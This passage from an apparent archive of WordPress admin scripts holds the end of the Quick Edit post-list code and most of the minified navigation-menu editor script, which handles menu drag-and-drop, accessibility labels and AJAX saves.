$('#edit-'+id).before(r).remove(); $( inlineEditPost.what + id ).hide().fadeIn( 400, function() { // Move focus back to the Quick Edit button. $( this ) is the row being animated. $( this ).find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) ); }); } else { r = r.replace( /<.[^<>]*?>/g, '' ); $errorNotice.removeClass( 'hidden' ); $error.html( r ); wp.a11y.speak( $error.text() ); } } else { $errorNotice.removeClass( 'hidden' ); $error.text( wp.i18n.__( 'Error while saving the changes.' ) ); wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) ); } }, 'html'); // Prevent submitting the form when pressing Enter on a focused field. return false; }, /** * Hides and empties the Quick Edit and/or Bulk Edit windows. * * @since 2.7.0 * * @memberof inlineEditPost * * @return {boolean} Always returns false. */ revert : function(){ var $tableWideFat = $( '.widefat' ), id = $( '.inline-editor', $tableWideFat ).attr( 'id' ); if ( id ) { $( '.spinner', $tableWideFat ).removeClass( 'is-active' ); if ( 'bulk-edit' === id ) { // Hide the bulk editor. $( '#bulk-edit', $tableWideFat ).removeClass( 'inline-editor' ).hide().siblings( '.hidden' ).remove(); $('#bulk-titles').empty(); // Store the empty bulk editor in a hidden element. $('#inlineedit').append( $('#bulk-edit') ); // Move focus back to the Bulk Action button that was activated. $( '#' + inlineEditPost.whichBulkButtonId ).trigger( 'focus' ); } else { // Remove both the inline-editor and its hidden tr siblings. $('#'+id).siblings('tr.hidden').addBack().remove(); id = id.substr( id.lastIndexOf('-') + 1 ); // Show the post row and move focus back to the Quick Edit button. $( this.what + id ).show().find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } } return false; }, /** * Gets the ID for a the post that you want to quick edit from the row in the quick * edit table. * * @since 2.7.0 * * @memberof inlineEditPost * * @param {Object} o DOM row object to get the ID for. * @return {string} The post ID extracted from the table row in the object. */ getId : function(o) { var id = $(o).closest('tr').attr('id'), parts = id.split('-'); return parts[parts.length - 1]; } }; $( function() { inlineEditPost.init(); } ); // Show/hide locks on posts. $( function() { // Set the heartbeat interval to 10 seconds. if ( typeof wp !== 'undefined' && wp.heartbeat ) { wp.heartbeat.interval( 10 ); } }).on( 'heartbeat-tick.wp-check-locked-posts', function( e, data ) { var locked = data['wp-check-locked-posts'] || {}, lockedClass = 'wp-locked'; $('#the-list tr').each( function(i, el) { var key = el.id, row = $(el), lock_data, avatar; if ( locked.hasOwnProperty( key ) ) { if ( ! row.hasClass( lockedClass ) ) { lock_data = locked[key]; row.find('.column-title .locked-text').text( lock_data.text ); row.find('.check-column checkbox').prop('checked', false); if ( lock_data.avatar_src ) { avatar = $( '<img />', { 'class': 'avatar avatar-18 photo', width: 18, height: 18, alt: '', src: lock_data.avatar_src, srcset: lock_data.avatar_src_2x ? lock_data.avatar_src_2x + ' 2x' : undefined } ); row.find('.column-title .locked-avatar').empty().append( avatar ); } row.addClass( lockedClass ); } } else if ( row.hasClass( lockedClass ) ) { row.removeClass( lockedClass ).find( '.locked-info span' ).empty(); } }); }).on( 'heartbeat-send.wp-check-locked-posts', function( e, data ) { var check = []; $('#the-list tr').each( function(i, el) { if ( el.id ) { check.push( el.id ); } }); if ( check.length ) { data['wp-check-locked-posts'] = check; } }); })( jQuery, window.wp ); nav-menu.min.js 0000644 00000074101 15222552267 0007425 0 ustar 00 /*! This file is auto-generated */ !function(k){var I=window.wpNavMenu={options:{menuItemDepthPerLevel:30,globalMaxDepth:11,sortableItems:"> *",targetTolerance:0},menuList:void 0,targetList:void 0,menusChanged:!1,isRTL:!("undefined"==typeof isRtl||!isRtl),negateIfRTL:"undefined"!=typeof isRtl&&isRtl?-1:1,lastSearch:"",init:function(){I.menuList=k("#menu-to-edit"),I.targetList=I.menuList,this.jQueryExtensions(),this.attachMenuEditListeners(),this.attachBulkSelectButtonListeners(),this.attachMenuCheckBoxListeners(),this.attachMenuItemDeleteButton(),this.attachPendingMenuItemsListForDeletion(),this.attachQuickSearchListeners(),this.attachThemeLocationsListeners(),this.attachMenuSaveSubmitListeners(),this.attachTabsPanelListeners(),this.attachUnsavedChangesListener(),I.menuList.length&&this.initSortables(),menus.oneThemeLocationNoMenus&&k("#posttype-page").addSelectedToMenu(I.addMenuItemToBottom),this.initManageLocations(),this.initAccessibility(),this.initToggles(),this.initPreviewing()},jQueryExtensions:function(){k.fn.extend({menuItemDepth:function(){var e=I.isRTL?this.eq(0).css("margin-right"):this.eq(0).css("margin-left");return I.pxToDepth(e&&-1!=e.indexOf("px")?e.slice(0,-2):0)},updateDepthClass:function(t,n){return this.each(function(){var e=k(this);n=n||e.menuItemDepth(),k(this).removeClass("menu-item-depth-"+n).addClass("menu-item-depth-"+t)})},shiftDepthClass:function(i){return this.each(function(){var e=k(this),t=e.menuItemDepth(),n=t+i;e.removeClass("menu-item-depth-"+t).addClass("menu-item-depth-"+n),0===n&&e.find(".is-submenu").hide()})},childMenuItems:function(){var i=k();return this.each(function(){for(var e=k(this),t=e.menuItemDepth(),n=e.next(".menu-item");n.length&&n.menuItemDepth()>t;)i=i.add(n),n=n.next(".menu-item")}),i},shiftHorizontally:function(n){return this.each(function(){var e=k(this),t=e.menuItemDepth();e.moveHorizontally(t+n,t)})},moveHorizontally:function(a,s){return this.each(function(){var e=k(this),t=e.childMenuItems(),n=a-s,i=e.find(".is-submenu");e.updateDepthClass(a,s).updateParentMenuItemDBId(),t&&t.each(function(){var e=k(this),t=e.menuItemDepth();e.updateDepthClass(t+n,t).updateParentMenuItemDBId()}),0===a?i.hide():i.show()})},updateParentMenuItemDBId:function(){return this.each(function(){var e=k(this),t=e.find(".menu-item-data-parent-id"),n=parseInt(e.menuItemDepth(),10),e=e.prevAll(".menu-item-depth-"+(n-1)).first();0===n?t.val(0):t.val(e.find(".menu-item-data-db-id").val())})},hideAdvancedMenuItemFields:function(){return this.each(function(){var e=k(this);k(".hide-column-tog").not(":checked").each(function(){e.find(".field-"+k(this).val()).addClass("hidden-field")})})},addSelectedToMenu:function(a){return 0!==k("#menu-to-edit").length&&this.each(function(){var e=k(this),n={},t=menus.oneThemeLocationNoMenus&&0===e.find(".tabs-panel-active .categorychecklist li input:checked").length?e.find('#page-all li input[type="checkbox"]'):e.find(".tabs-panel-active .categorychecklist li input:checked"),i=/menu-item\[([^\]]*)/;if(a=a||I.addMenuItemToBottom,!t.length)return!1;e.find(".button-controls .spinner").addClass("is-active"),k(t).each(function(){var e=k(this),t=i.exec(e.attr("name")),t=void 0===t[1]?0:parseInt(t[1],10);this.className&&-1!=this.className.indexOf("add-to-top")&&(a=I.addMenuItemToTop),n[t]=e.closest("li").getItemData("add-menu-item",t)}),I.addItemToMenu(n,a,function(){t.prop("checked",!1),e.find(".button-controls .select-all").prop("checked",!1),e.find(".button-controls .spinner").removeClass("is-active"),e.updateParentDropdown(),e.updateOrderDropdown()})})},getItemData:function(t,n){t=t||"menu-item";var i,a={},s=["menu-item-db-id","menu-item-object-id","menu-item-object","menu-item-parent-id","menu-item-position","menu-item-type","menu-item-title","menu-item-url","menu-item-description","menu-item-attr-title","menu-item-target","menu-item-classes","menu-item-xfn"];return(n=n||"menu-item"!=t?n:this.find(".menu-item-data-db-id").val())&&this.find("input").each(function(){var e;for(i=s.length;i--;)"menu-item"==t?e=s[i]+"["+n+"]":"add-menu-item"==t&&(e="menu-item["+n+"]["+s[i]+"]"),this.name&&e==this.name&&(a[s[i]]=this.value)}),a},setItemData:function(e,a,s){return a=a||"menu-item",(s=s||"menu-item"!=a?s:k(".menu-item-data-db-id",this).val())&&this.find("input").each(function(){var n,i=k(this);k.each(e,function(e,t){"menu-item"==a?n=e+"["+s+"]":"add-menu-item"==a&&(n="menu-item["+s+"]["+e+"]"),n==i.attr("name")&&i.val(t)})}),this},updateParentDropdown:function(){return this.each(function(){var s=k("#menu-to-edit li"),e=k(".edit-menu-item-parent");k.each(e,function(){var n=k(this),e=parseInt(n.closest("li.menu-item").find(".menu-item-data-db-id").val()),i=parseInt(n.closest("li.menu-item").find(".menu-item-data-parent-id").val()),t=n.closest("li.menu-item").childMenuItems(),a=[e];n.empty(),0<t.length&&k.each(t,function(){var e=k(this),e=parseInt(e.find(".menu-item-data-db-id").val());a.push(e)}),n.append(k("<option>",{value:"0",selected:0===i,text:wp.i18n._x("No Parent","menu item without a parent in navigation menu")})),k.each(s,function(){var e=k(this),t=parseInt(e.find(".menu-item-data-db-id").val()),e=e.find(".edit-menu-item-title").val();a.includes(t)||n.append(k("<option>",{value:t.toString(),selected:i===t,text:e}))})})})},updateOrderDropdown:function(){return this.each(function(){var u,e=k(".edit-menu-item-order");k.each(e,function(){var t=k(this),e=t.closest("li.menu-item").first(),n=e.menuItemDepth(),i=0===n;if(t.empty(),i){var i=k(".menu-item-depth-0"),a=i.length;u=i.index(e)+1;for(let e=1;e<a+1;e++){var s=wp.i18n.sprintf(wp.i18n._x("%1$s of %2$s","part of a total number of menu items"),e,a);t.append(k("<option>",{selected:e===u,value:e.toString(),text:s}))}}else{var i=e.prevAll(".menu-item-depth-"+parseInt(n-1,10)).first().find(".menu-item-data-db-id").val(),n=k('.menu-item .menu-item-data-parent-id[value="'+i+'"]'),m=n.length;u=k(n.parents(".menu-item").get().reverse()).index(e)+1;for(let e=1;e<m+1;e++){var o=wp.i18n.sprintf(wp.i18n._x("%1$s of %2$s","part of a total number of menu items"),e,m);t.append(k("<option>",{selected:e===u,value:e.toString(),text:o}))}}})})}})},countMenuItems:function(e){return k(".menu-item-depth-"+e).length},moveMenuItem:function(e,t){var n,i,a=k("#menu-to-edit li"),s=a.length,m=e.parents("li.menu-item"),o=m.childMenuItems(),u=m.getItemData(),d=parseInt(m.menuItemDepth(),10),r=parseInt(m.index(),10),l=m.next(),c=l.childMenuItems(),h=parseInt(l.menuItemDepth(),10)+1,p=m.prev(),f=parseInt(p.menuItemDepth(),10),v=p.getItemData()["menu-item-db-id"],p=menus["moved"+t.charAt(0).toUpperCase()+t.slice(1)];switch(t){case"up":i=r-1,0!==r&&(0==i&&0!==d&&m.moveHorizontally(0,d),0!==f&&m.moveHorizontally(f,d),(o?n=m.add(o):m).detach().insertBefore(a.eq(i)).updateParentMenuItemDBId());break;case"down":if(o){if(n=m.add(o),(c=0!==(l=a.eq(n.length+r)).childMenuItems().length)&&(i=parseInt(l.menuItemDepth(),10)+1,m.moveHorizontally(i,d)),s===r+n.length)break;n.detach().insertAfter(a.eq(r+n.length)).updateParentMenuItemDBId()}else{if(0!==c.length&&m.moveHorizontally(h,d),s===r+1)break;m.detach().insertAfter(a.eq(r+1)).updateParentMenuItemDBId()}break;case"top":0!==r&&(o?n=m.add(o):m).detach().insertBefore(a.eq(0)).updateParentMenuItemDBId();break;case"left":0!==d&&m.shiftHorizontally(-1);break;case"right":0!==r&&u["menu-item-parent-id"]!==v&&m.shiftHorizontally(1)}e.trigger("focus"),I.registerChange(),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),m.updateParentDropdown(),m.updateOrderDropdown(),p&&wp.a11y.speak(p)},initAccessibility:function(){var e=k("#menu-to-edit");I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),e.on("mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility",".menu-item",function(){I.refreshAdvancedAccessibilityOfItem(k(this).find("a.item-edit"))}),e.on("click","a.item-edit",function(){I.refreshAdvancedAccessibilityOfItem(k(this))}),e.on("click",".menus-move",function(){var e=k(this).data("dir");void 0!==e&&I.moveMenuItem(k(this).parents("li.menu-item").find("a.item-edit"),e)}),e.updateParentDropdown(),e.updateOrderDropdown(),e.on("change",".edit-menu-item-parent",function(){I.changeMenuParent(k(this))}),e.on("change",".edit-menu-item-order",function(){I.changeMenuOrder(k(this))})},changeMenuParent:function(e){var t=k("#menu-to-edit li"),e=k(e),n=e.val(),i=e.closest("li.menu-item").first(),a=i.menuItemDepth(),s=i.childMenuItems(),m=parseInt(i.childMenuItems().length,10),o=k("#menu-item-"+n),u=o.menuItemDepth(),u=parseInt(u)+1,u=(0==n&&(u=0),i.find(".menu-item-data-parent-id").val(n),i.moveHorizontally(u,a),(i=0<m?i.add(s):i).detach(),t=k("#menu-to-edit li"),parseInt(o.index(),10)),a=parseInt(o.childMenuItems().length,10),m=0<a?u+a:u;0==n&&(m=t.length-1),i.insertAfter(t.eq(m)).updateParentMenuItemDBId().updateParentDropdown().updateOrderDropdown(),I.registerChange(),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),e.trigger("focus"),wp.a11y.speak(menus.parentUpdated,"polite")},changeMenuOrder:function(e){var t=k("#menu-to-edit li"),e=k(e),n=parseInt(e.val(),10),i=e.closest("li.menu-item").first(),a=i.childMenuItems(),s=a.length,m=parseInt(i.index(),10),o=i.find(".menu-item-data-parent-id").val(),o=k('.menu-item .menu-item-data-parent-id[value="'+o+'"]'),o=k(o[n-1]).closest("li.menu-item"),n=(0<s&&(i=i.add(a)),o.childMenuItems().length),s=parseInt(o.index(),10),t=k("#menu-to-edit li"),a=s;(a<m?(a=s,i.detach().insertBefore(t.eq(a))):(a+=n,i.detach().insertAfter(t.eq(a)))).updateOrderDropdown(),I.registerChange(),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),e.trigger("focus"),wp.a11y.speak(menus.orderUpdated,"polite")},refreshAdvancedAccessibilityOfItem:function(e){var t,n,i,a,s,m,o,u,d,r,l,c,h;!0===k(e).data("needs_accessibility_refresh")&&(m=0===(s=(a=(e=k(e)).closest("li.menu-item").first()).menuItemDepth()),o=e.closest(".menu-item-handle").find(".menu-item-title").text(),u=e.closest(".menu-item-handle").find(".item-controls").find(".item-type").text(),d=parseInt(a.index(),10),r=m?s:parseInt(s-1,10),r=a.prevAll(".menu-item-depth-"+r).first().find(".menu-item-title").text(),l=a.prevAll(".menu-item-depth-"+s).first().find(".menu-item-title").text(),c=k("#menu-to-edit li").length,h=a.nextAll(".menu-item-depth-"+s).length,a.find(".field-move").toggle(1<c),0!==d&&(n=a.find(".menus-move-up")).attr("aria-label",menus.moveUp).css("display","inline"),0!==d&&m&&(n=a.find(".menus-move-top")).attr("aria-label",menus.moveToTop).css("display","inline"),d+1!==c&&0!==d&&(n=a.find(".menus-move-down")).attr("aria-label",menus.moveDown).css("display","inline"),0===d&&0!==h&&(n=a.find(".menus-move-down")).attr("aria-label",menus.moveDown).css("display","inline"),m||(n=a.find(".menus-move-left"),i=menus.outFrom.replace("%s",r),n.attr("aria-label",menus.moveOutFrom.replace("%s",r)).text(i).css("display","inline")),0!==d&&a.find(".menu-item-data-parent-id").val()!==a.prev().find(".menu-item-data-db-id").val()&&(n=a.find(".menus-move-right"),i=menus.under.replace("%s",l),n.attr("aria-label",menus.moveUnder.replace("%s",l)).text(i).css("display","inline")),m=m?(t=(h=k(".menu-item-depth-0")).index(a)+1,c=h.length,menus.menuFocus.replace("%1$s",o).replace("%2$s",u).replace("%3$d",t).replace("%4$d",c)):(d=(r=a.prevAll(".menu-item-depth-"+parseInt(s-1,10)).first()).find(".menu-item-data-db-id").val(),n=r.find(".menu-item-title").text(),i=(l=k('.menu-item .menu-item-data-parent-id[value="'+d+'"]')).length,t=k(l.parents(".menu-item").get().reverse()).index(a)+1,s<2?menus.subMenuFocus.replace("%1$s",o).replace("%2$s",u).replace("%3$d",t).replace("%4$d",i).replace("%5$s",n):menus.subMenuMoreDepthFocus.replace("%1$s",o).replace("%2$s",u).replace("%3$d",t).replace("%4$d",i).replace("%5$s",n).replace("%6$d",s)),e.attr("aria-label",m),e.data("needs_accessibility_refresh",!1))},refreshAdvancedAccessibility:function(){k(".menu-item-settings .field-move .menus-move").hide(),k("a.item-edit").data("needs_accessibility_refresh",!0),k(".menu-item-edit-active a.item-edit").each(function(){I.refreshAdvancedAccessibilityOfItem(this)})},refreshKeyboardAccessibility:function(){k("a.item-edit").off("focus").on("focus",function(){k(this).off("keydown").on("keydown",function(e){var t,n=k(this),i=n.parents("li.menu-item").getItemData();if((37==e.which||38==e.which||39==e.which||40==e.which)&&(n.off("keydown"),1!==k("#menu-to-edit li").length)){switch(t={38:"up",40:"down",37:"left",39:"right"},(t=k("body").hasClass("rtl")?{38:"up",40:"down",39:"left",37:"right"}:t)[e.which]){case"up":I.moveMenuItem(n,"up");break;case"down":I.moveMenuItem(n,"down");break;case"left":I.moveMenuItem(n,"left");break;case"right":I.moveMenuItem(n,"right")}return k("#edit-"+i["menu-item-db-id"]).trigger("focus"),!1}})})},initPreviewing:function(){k("#menu-to-edit").on("change input",".edit-menu-item-title",function(e){var e=k(e.currentTarget),t=e.val(),e=e.closest(".menu-item").find(".menu-item-title");t?e.text(t).removeClass("no-title"):e.text(wp.i18n._x("(no label)","missing menu item navigation label")).addClass("no-title")})},initToggles:function(){postboxes.add_postbox_toggles("nav-menus"),columns.useCheckboxesForHidden(),columns.checked=function(e){k(".field-"+e).removeClass("hidden-field")},columns.unchecked=function(e){k(".field-"+e).addClass("hidden-field")},I.menuList.hideAdvancedMenuItemFields(),k(".hide-postbox-tog").on("click",function(){var e=k(".accordion-container li.accordion-section").filter(":hidden").map(function(){return this.id}).get().join(",");k.post(ajaxurl,{action:"closed-postboxes",hidden:e,closedpostboxesnonce:jQuery("#closedpostboxesnonce").val(),page:"nav-menus"})})},initSortables:function(){var m,a,s,n,o,u,d,r,l,c,e,h=0,p=I.menuList.offset().left,f=k("body"),v=f[0].className&&(e=f[0].className.match(/menu-max-depth-(\d+)/))&&e[1]?parseInt(e[1],10):0;function g(e){n=e.placeholder.prev(".menu-item"),o=e.placeholder.next(".menu-item"),n[0]==e.item[0]&&(n=n.prev(".menu-item")),o[0]==e.item[0]&&(o=o.next(".menu-item")),u=n.length?n.offset().top+n.height():0,d=o.length?o.offset().top+o.height()/3:0,a=o.length?o.menuItemDepth():0,s=n.length?(e=n.menuItemDepth()+1)>I.options.globalMaxDepth?I.options.globalMaxDepth:e:0}function b(e,t){e.placeholder.updateDepthClass(t,h),h=t}0!==k("#menu-to-edit li").length&&k(".drag-instructions").show(),p+=I.isRTL?I.menuList.width():0,I.menuList.sortable({handle:".menu-item-handle",placeholder:"sortable-placeholder",items:I.options.sortableItems,start:function(e,t){var n,i;I.isRTL&&(t.item[0].style.right="auto"),l=t.item.children(".menu-item-transport"),m=t.item.menuItemDepth(),b(t,m),i=(t.item.next()[0]==t.placeholder[0]?t.item.next():t.item).childMenuItems(),l.append(i),n=l.outerHeight(),n=(n+=0<n?+t.placeholder.css("margin-top").slice(0,-2):0)+t.helper.outerHeight(),r=n,t.placeholder.height(n-=2),c=m,i.each(function(){var e=k(this).menuItemDepth();c=c<e?e:c}),n=t.helper.find(".menu-item-handle").outerWidth(),n+=I.depthToPx(c-m),t.placeholder.width(n-=2),(i=t.placeholder.next(".menu-item")).css("margin-top",r+"px"),t.placeholder.detach(),k(this).sortable("refresh"),t.item.after(t.placeholder),i.css("margin-top",0),g(t)},stop:function(e,t){var n=h-m,i=l.children().insertAfter(t.item),a=t.item.find(".item-title .is-submenu");if(0<h?a.show():a.hide(),0!=n){t.item.updateDepthClass(h),i.shiftDepthClass(n);var a=n,s=v;if(0!==a){if(0<a)v<(i=c+a)&&(s=i);else if(a<0&&c==v)for(;!k(".menu-item-depth-"+s,I.menuList).length&&0<s;)s--;f.removeClass("menu-max-depth-"+v).addClass("menu-max-depth-"+s),v=s}}I.registerChange(),t.item.updateParentMenuItemDBId(),t.item[0].style.top=0,I.isRTL&&(t.item[0].style.left="auto",t.item[0].style.right=0),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),t.item.updateParentDropdown(),t.item.updateOrderDropdown(),I.refreshAdvancedAccessibilityOfItem(t.item.find("a.item-edit"))},change:function(e,t){t.placeholder.parent().hasClass("menu")||(n.length?n.after(t.placeholder):I.menuList.prepend(t.placeholder)),g(t)},sort:function(e,t){var n=t.helper.offset(),i=I.isRTL?n.left+t.helper.width():n.left,i=I.negateIfRTL*I.pxToDepth(i-p);s<i||n.top<u-I.options.targetTolerance?i=s:i<a&&(i=a),i!=h&&b(t,i),d&&n.top+r>d&&(o.after(t.placeholder),g(t),k(this).sortable("refreshPositions"))}})},initManageLocations:function(){k("#menu-locations-wrap form").on("submit",function(){window.onbeforeunload=null}),k(".menu-location-menus select").on("change",function(){var e=k(this).closest("tr").find(".locations-edit-menu-link");k(this).find("option:selected").data("orig")?e.show():e.hide()})},attachMenuEditListeners:function(){var t=this;k("#update-nav-menu").on("click",function(e){if(e.target&&e.target.className)return-1!=e.target.className.indexOf("item-edit")?t.eventOnClickEditLink(e.target):-1!=e.target.className.indexOf("menu-save")?t.eventOnClickMenuSave(e.target):-1!=e.target.className.indexOf("menu-delete")?t.eventOnClickMenuDelete(e.target):-1!=e.target.className.indexOf("item-delete")?t.eventOnClickMenuItemDelete(e.target):-1!=e.target.className.indexOf("item-cancel")?t.eventOnClickCancelLink(e.target):void 0}),k("#menu-name").on("input",_.debounce(function(){var e=k(document.getElementById("menu-name")),t=e.val();t&&t.replace(/\s+/,"")?e.parent().removeClass("form-invalid"):e.parent().addClass("form-invalid")},500)),k('#add-custom-links input[type="text"]').on("keypress",function(e){k("#customlinkdiv").removeClass("form-invalid"),k("#custom-menu-item-url").removeAttr("aria-invalid").removeAttr("aria-describedby"),k("#custom-url-error").hide(),13===e.keyCode&&(e.preventDefault(),k("#submit-customlinkdiv").trigger("click"))}),k("#submit-customlinkdiv").on("click",function(e){var t=k("#custom-menu-item-url"),n=t.val().trim(),i=k("#custom-url-error"),a=k("#menu-item-url-wrap");i.hide(),a.removeClass("has-error"),/^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/.test(n)||(e.preventDefault(),t.addClass("form-invalid").attr("aria-invalid","true").attr("aria-describedby","custom-url-error"),i.show(),n=i.text(),a.addClass("has-error"),wp.a11y.speak(n,"assertive"))})},attachBulkSelectButtonListeners:function(){var e=this;k(".bulk-select-switcher").on("change",function(){this.checked?(k(".bulk-select-switcher").prop("checked",!0),e.enableBulkSelection()):(k(".bulk-select-switcher").prop("checked",!1),e.disableBulkSelection())})},enableBulkSelection:function(){var e=k("#menu-to-edit .menu-item-checkbox");k("#menu-to-edit").addClass("bulk-selection"),k("#nav-menu-bulk-actions-top").addClass("bulk-selection"),k("#nav-menu-bulk-actions-bottom").addClass("bulk-selection"),k.each(e,function(){k(this).prop("disabled",!1)})},disableBulkSelection:function(){var e=k("#menu-to-edit .menu-item-checkbox");k("#menu-to-edit").removeClass("bulk-selection"),k("#nav-menu-bulk-actions-top").removeClass("bulk-selection"),k("#nav-menu-bulk-actions-bottom").removeClass("bulk-selection"),k(".menu-items-delete").is('[aria-describedby="pending-menu-items-to-delete"]')&&k(".menu-items-delete").removeAttr("aria-describedby"),k.each(e,function(){k(this).prop("disabled",!0).prop("checked",!1)}),k(".menu-items-delete").addClass("disabled"),k("#pending-menu-items-to-delete ul").empty()},attachMenuCheckBoxListeners:function(){var e=this;k("#menu-to-edit").on("change",".menu-item-checkbox",function(){e.setRemoveSelectedButtonStatus()})},attachMenuItemDeleteButton:function(){var t=this;k(document).on("click",".menu-items-delete",function(e){var n,i;e.preventDefault(),k(this).hasClass("disabled")||(k.each(k(".menu-item-checkbox:checked"),function(e,t){k(t).parents("li").find("a.item-delete").trigger("click")}),k(".menu-items-delete").addClass("disabled"),k(".bulk-select-switcher").prop("checked",!1),n="",i=k("#pending-menu-items-to-delete ul li"),k.each(i,function(e,t){t=k(t).find(".pending-menu-item-name").text(),t=menus.menuItemDeletion.replace("%s",t);n+=t,e+1<i.length&&(n+=", ")}),e=menus.itemsDeleted.replace("%s",n),wp.a11y.speak(e,"polite"),t.disableBulkSelection(),k("#menu-to-edit").updateParentDropdown(),k("#menu-to-edit").updateOrderDropdown())})},attachPendingMenuItemsListForDeletion:function(){k("#post-body-content").on("change",".menu-item-checkbox",function(){var e,t,n,i;k(".menu-items-delete").is('[aria-describedby="pending-menu-items-to-delete"]')||k(".menu-items-delete").attr("aria-describedby","pending-menu-items-to-delete"),e=k(this).next().text(),t=k(this).parent().next(".item-controls").find(".item-type").text(),n=k(this).attr("data-menu-item-id"),0<(i=k("#pending-menu-items-to-delete ul").find("[data-menu-item-id="+n+"]")).length&&i.remove(),!0===this.checked&&((i=k("<li>",{"data-menu-item-id":n})).append(k("<span>",{class:"pending-menu-item-name",text:e})),i.append(" "),i.append(k("<span>",{class:"pending-menu-item-type",text:"("+t+")"})),i.append(k("<span>",{class:"separator"})),k("#pending-menu-items-to-delete ul").append(i)),k("#pending-menu-items-to-delete li .separator").html(", "),k("#pending-menu-items-to-delete li .separator").last().html(".")})},setBulkDeleteCheckboxStatus:function(){var e=k("#menu-to-edit .menu-item-checkbox");k.each(e,function(){k(this).prop("disabled")?k(this).prop("disabled",!1):k(this).prop("disabled",!0),k(this).is(":checked")&&k(this).prop("checked",!1)}),this.setRemoveSelectedButtonStatus()},setRemoveSelectedButtonStatus:function(){var e=k(".menu-items-delete");0<k(".menu-item-checkbox:checked").length?e.removeClass("disabled"):e.addClass("disabled")},attachMenuSaveSubmitListeners:function(){k("#update-nav-menu").on("submit",function(){var e=k("#update-nav-menu").serializeArray();k('[name="nav-menu-data"]').val(JSON.stringify(e))})},attachThemeLocationsListeners:function(){var e=k("#nav-menu-theme-locations"),t={action:"menu-locations-save"};t["menu-settings-column-nonce"]=k("#menu-settings-column-nonce").val(),e.find('input[type="submit"]').on("click",function(){return e.find("select").each(function(){t[this.name]=k(this).val()}),e.find(".spinner").addClass("is-active"),k.post(ajaxurl,t,function(){e.find(".spinner").removeClass("is-active")}),!1})},attachQuickSearchListeners:function(){var t;k("#nav-menu-meta").on("submit",function(e){e.preventDefault()}),k("#nav-menu-meta").on("input",".quick-search",function(){var e=k(this);e.attr("autocomplete","off"),t&&clearTimeout(t),t=setTimeout(function(){I.updateQuickSearchResults(e)},500)}).on("blur",".quick-search",function(){I.lastSearch=""})},updateQuickSearchResults:function(e){var t,n,i=e.val(),a=k("#page-search-checklist");I.lastSearch!=i&&(i.length<=1?(a.empty(),wp.a11y.speak(wp.i18n.__("Search results cleared"))):(I.lastSearch=i,t=e.parents(".tabs-panel"),n={action:"menu-quick-search","response-format":"markup",menu:k("#menu").val(),"menu-settings-column-nonce":k("#menu-settings-column-nonce").val(),q:i,type:e.attr("name")},k(".spinner",t).addClass("is-active"),k.post(ajaxurl,n,function(e){I.processQuickSearchQueryResponse(e,n,t)})))},addCustomLink:function(e){var t=k("#custom-menu-item-url").val().toString(),n=k("#custom-menu-item-name").val();if(""!==t&&(t=t.trim()),e=e||I.addMenuItemToBottom,!/^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/.test(t))return k("#customlinkdiv").addClass("form-invalid"),!1;k(".customlinkdiv .spinner").addClass("is-active"),this.addLinkToMenu(t,n,e,function(){k(".customlinkdiv .spinner").removeClass("is-active"),k("#custom-menu-item-name").val("").trigger("blur"),k("#custom-menu-item-url").val("").attr("placeholder","https://")})},addLinkToMenu:function(e,t,n,i){n=n||I.addMenuItemToBottom,I.addItemToMenu({"-1":{"menu-item-type":"custom","menu-item-url":e,"menu-item-title":t}},n,i=i||function(){})},addItemToMenu:function(e,n,i){var a,t=k("#menu").val(),s=k("#menu-settings-column-nonce").val();n=n||function(){},i=i||function(){},a={action:"add-menu-item",menu:t,"menu-settings-column-nonce":s,"menu-item":e},k.post(ajaxurl,a,function(e){var t=k("#menu-instructions");e=(e=e||"").toString().trim(),n(e,a),k("li.pending").hide().fadeIn("slow"),k(".drag-instructions").show(),!t.hasClass("menu-instructions-inactive")&&t.siblings().length&&t.addClass("menu-instructions-inactive"),i()})},addMenuItemToBottom:function(e){e=k(e);e.hideAdvancedMenuItemFields().appendTo(I.targetList),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemAdded),k(document).trigger("menu-item-added",[e])},addMenuItemToTop:function(e){e=k(e);e.hideAdvancedMenuItemFields().prependTo(I.targetList),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemAdded),k(document).trigger("menu-item-added",[e])},attachUnsavedChangesListener:function(){k("#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select").on("change",function(){I.registerChange()}),0!==k("#menu-to-edit").length||0!==k(".menu-location-menus select").length?window.onbeforeunload=function(){if(I.menusChanged)return wp.i18n.__("The changes you made will be lost if you navigate away from this page.")}:k("#menu-settings-column").find("input,select").end().find("a").attr("href","#").off("click")},registerChange:function(){I.menusChanged=!0},attachTabsPanelListeners:function(){k("#menu-settings-column").on("click",function(e){var t,n,i,a,s=k(e.target);if(s.hasClass("nav-tab-link"))n=s.data("type"),i=s.parents(".accordion-section-content").first(),k("input",i).prop("checked",!1),k(".tabs-panel-active",i).removeClass("tabs-panel-active").addClass("tabs-panel-inactive"),k("#"+n,i).removeClass("tabs-panel-inactive").addClass("tabs-panel-active"),k(".tabs",i).removeClass("tabs"),s.parent().addClass("tabs"),k(".quick-search",i).trigger("focus"),i.find(".tabs-panel-active .menu-item-title").length?i.removeClass("has-no-menu-item"):i.addClass("has-no-menu-item"),e.preventDefault();else if(s.hasClass("select-all"))(t=s.closest(".button-controls").data("items-type"))&&((a=k("#"+t+" .tabs-panel-active .menu-item-title input")).length!==a.filter(":checked").length||s.is(":checked")?s.is(":checked")&&a.prop("checked",!0):a.prop("checked",!1));else if(s.hasClass("menu-item-checkbox"))(t=s.closest(".tabs-panel-active").parent().attr("id"))&&(a=k("#"+t+" .tabs-panel-active .menu-item-title input"),n=k('.button-controls[data-items-type="'+t+'"] 